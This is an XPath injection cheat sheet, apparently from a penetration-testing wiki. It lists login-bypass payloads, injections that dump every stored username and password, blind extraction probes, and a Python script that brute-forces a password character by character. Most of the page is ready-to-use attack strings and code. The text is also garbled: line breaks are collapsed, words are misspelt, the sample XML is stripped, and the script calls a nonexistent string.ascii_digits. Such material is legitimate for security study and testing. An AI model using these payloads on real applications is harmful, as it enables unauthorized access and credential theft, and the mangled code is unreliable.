XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Info about how to make queries: https://www.w3schools.com/xml/xpath_syntax.asp

Basic Syntax

Nodes

Examples:

Predicates

Unknown Nodes

Examples:

Example

    pepe    peponcio    admin    mark    m12345    regular    fino    fino2    regular
All names - [pepe, mark, fino]name//name//name/node()//name/child::node()user/nameuser//name/user/name//user/name​All values - [pepe, peponcio, admin, mark, ...]//user/node()//user/child::node()​​Positions//user[position()=1]/name #pepe//user[last()-1]/name #mark//user[position()=1]/child::node()[position()=2] #peponcio (password)​Functionscount(//user/node()) #3*3 = 9 (count all values)string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Authentication Bypass

Example of queries:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR bypass in user and password (same value in both)

' or '1'='1' or ''='string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())​Select accountSelect the account using the username and use one of the previous values in the password field

Abusing null injection

Double OR in Username or in password (is valid with only 1 vulnerable field)

IMPORTANT: Notice that the "and" is the first operation made.

Bypass with first match(This requests are also valid without spaces)' or /* or '' or "a" or '' or 1 or '' or true() or 'string(//user[name/text()='' or true() or '' and password/text()='']/account/text())​Select account'or string-length(name(.))<10 or' #Select account with length(name)<10'or contains(name,'adm') or' #Select first account having "adm" in the name'or contains(.,'adm') or' #Select first account having "adm" in the current value'or position()=2 or' #Select 2º accountstring(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())​Select account (name known)admin' or 'admin' or '1'='2string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

The output contains strings and the user can manipulate the values to search:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names') or 1=1] | //user/password[('')=(' #Get all names and passwords') or 2=1] | //user/node()[('')=(' #Get all values')] | //./node()[('')=(' #Get all values')] | //node()[('')=(' #Get all values') or 1=1] | //user/password[('')=(' #Get all names and passwords')] | //password%00 #All names and passwords (abusing null injection)')]/../*[3][text()!=(' #All the passwords')] | //user/*[1] | a[(' #The ID of all users')] | //user/*[2] | a[(' #The name of all users')] | //user/*[3] | a[(' #The password of all users')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Get length of a value and extract it by comparisons:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"​Other waysubstring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Example:

import requests, string ​flag = ""l = 0alphabet = string.ascii_letters + string.ascii_digits + "{}_()"for i in range(30):     r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))     if ("TRUE_COND" in r.text):         l = i         break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))     for al in alphabet:         r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)        if ("TRUE_COND" in r.text):             flag += al            print("[+] Flag: " + flag)             break

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection

最后更新于

这有帮助吗?